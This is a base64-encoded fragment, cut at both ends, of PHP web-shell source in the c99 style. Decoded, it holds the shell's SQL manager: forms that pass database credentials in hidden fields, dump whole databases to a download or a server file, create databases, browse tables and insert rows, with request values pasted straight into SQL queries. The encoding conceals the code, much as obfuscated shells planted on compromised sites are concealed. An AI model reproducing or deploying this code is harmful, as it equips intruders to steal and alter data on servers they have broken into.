xbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHANCiAgICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9DQogICAgaWYgKCRzcWxfYWN0ID09ICJuZXd0YmwiKQ0KICAgIHsNCiAgICAgZWNobyAiPGI+IjsNCiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOw0KICAgIH0NCiAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICB9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkdW1wIikNCiAgIHsNCiAgICBpZiAoZW1wdHkoJHN1Ym1pdCkpDQogICAgew0KICAgICAkZGlwbGF5ID0gRkFMU0U7DQogICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8Yj5EQjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwiPjxicj48YnI+IjsNCiAgICAgJHYgPSBqb2luICgiOyIsJGRtcHRibHMpOw0KICAgICBlY2hvICI8Yj5Pbmx5IHRhYmxlcyAoZXhwbG9kZSBcIjtcIikmbmJzcDs8Yj48c3VwPjE8L3N1cD48L2I+OjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZG1wdGJsc1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdikrNSkuIlwiPjxicj48YnI+IjsNCiAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9DQogICAgIGVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiKTt9DQogICAgIGVjaG8gIjxiPkZpbGU6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOw0KICAgICBlY2hvICI8Yj5TYXZlIHRvIGZpbGU6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX3NhdmV0b2ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7DQogICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJEdW1wXCI+PGJyPjxicj48Yj48c3VwPjE8L3N1cD48L2I+IC0gYWxsLCBpZiBlbXB0eSI7DQogICAgIGVjaG8gIjwvZm9ybT4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAkZGlwbGF5ID0gVFJVRTsNCiAgICAgJHNldCA9IGFycmF5KCk7DQogICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsNCiAgICAgJHNldFsiZGIiXSA9ICRzcWxfZGI7DQogICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7DQogICAgICRzZXRbInByaW50Il0gPSAwOw0KICAgICAkc2V0WyJubDJiciJdID0gMDsNCiAgICAgJHNldFsiIl0gPSAwOw0KICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOw0KICAgICAkc2V0WyJhZGRfZHJvcCJdID0gVFJVRTsNCiAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7DQogICAgIGlmICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0YmxzKTt9DQogICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOw0KICAgICBpZiAoJHNxbF9kdW1wX2Rvd25sb2FkKQ0KICAgICB7DQogICAgICBAb2JfY2xlYW4oKTsNCiAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsNCiAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7DQogICAgICBlY2hvICRyZXQ7DQogICAgICBleGl0Ow0KICAgICB9DQogICAgIGVsc2VpZiAoJHNxbF9kdW1wX3NhdmV0b2ZpbGUpDQogICAgIHsNCiAgICAgICRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7DQogICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZndyaXRlKCRmcCwkcmV0KTsNCiAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOw0KICAgICAgfQ0KICAgICB9DQogICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iPiI7fQ0KICAgIH0NCiAgIH0NCiAgIGlmICgkZGlwbGF5KQ0KICAgew0KICAgIGlmICghZW1wdHkoJHNxbF90YmwpKQ0KICAgIHsNCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2FjdCkpIHskc3FsX3RibF9hY3QgPSAiYnJvd3NlIjt9DQogICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7DQogICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7fQ0KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQ0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQ0KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7DQogICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsNCiAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsNCiAgICAgaWYgKGNvdW50KCRlKSA9PSAyKQ0KICAgICB7DQogICAgICBpZiAoJGVbMF0gPT0gImQiKSB7JGFzY19kZXNjID0gIkRFU0MiO30NCiAgICAgIGVsc2UgeyRhc2NfZGVzYyA9ICJBU0MiO30NCiAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsNCiAgICAgfQ0KICAgICBlbHNlIHskdiA9ICIiO30NCiAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNxbF9udW1fZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzBdLiIgcm93cyk8L2I+PC9jZW50ZXI+IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PXN0cnVjdHVyZVwiPlsmbmJzcDs8Yj5TdHJ1Y3R1cmU8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9YnJvd3NlXCI+WyZuYnNwOzxiPkJyb3dzZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfYWN0PXRibGR1bXAmdGhpc3RibD0xXCI+WyZuYnNwOzxiPkR1bXA8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImluc2VydCIpDQogICAgIHsNCiAgICAgIGlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQ0KICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKQ0KICAgICAgew0KDQogICAgICB9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8gdGFibGU6PC9iPjxicj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQ0KICAgICAgIHsNCiAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsNCiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsNCiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsNCiAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCiAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgfQ0KICAgICAgIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30NCiAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxiPkZpZWxkPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkNCiAgICAgICB7DQogICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KICAgICAgICBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7JHYgPSAiIjt9DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICRpKys7DQogICAgICAgfQ0KICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQogICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9DQogICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOw0KICAgICAgfQ0KICAgICB9DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImJyb3dzZSIpDQogICAgIHsNCiAgICAgICRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsNCiAgICAgICRzcWxfdGJsX2xlID0gYWJzKCRzcWxfdGJsX2xlKTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgIGVjaG8gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9bXVsdGlwYWdlXCIgaGVpZ2h0PVwiMTJcIiB3aWR0aD1cIjEwXCIgYWx0PVwiUGFnZXNcIj4mbmJzcDsiOw0KICAgICAgJGIgPSAwOw0KICAgICAgZm9yKCRpPTA7JGk8JG51bXBhZ2VzOyRpKyspDQogICAgICB7DQogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9DQogICAgICAgZWNobyAkaTsNCiAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30NCiAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIiZuYnNwOyI7fQ0KICAgICAgfQ0KICAgICAgaWYgKCRpID09IDApIHtlY2hvICJlbXB0eSI7fQ0KICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7DQogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+IjsNCiAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsNCiAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspDQogICAgICB7DQogICAgICAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOw0KICAgICAgIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9DQogICAgICAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30NCiAgICAgICBlY2hvICI8dGQ+IjsNCiAgICAgICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQ0KICAgICAgIGlmICgkZVsxXSAhPSAkdikge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVbMF0uIiUyMCIuJHYuIlwiPjxiPiIuJHYuIjwvYj48L2E+Ijt9DQogICAgICAgZWxzZSB7ZWNobyAiPGI+Ii4kdi4iPC9iPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJHMuIiUyMCIuJHYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30NCiAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICB9DQogICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9XCJncmVlblwiPjxiPkFjdGlvbjwvYj48L2ZvbnQ+PC90ZD4iOw0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAgICB7DQogICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgJHcgPSAiIjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7ICR3IC49ICIgYCIuJG5hbWUuImAgPSAnIi5hZGRzbGFzaGVzKCR2KS4iJyBBTkQiOyAkaSsrO30NCiAgICAgICBpZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcsMCxzdHJsZW4oJHcpLTMpO30NCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOw0KICAgICAgICRpID0gMDsNCiAgICAgICBmb3JlYWNoICgkcm93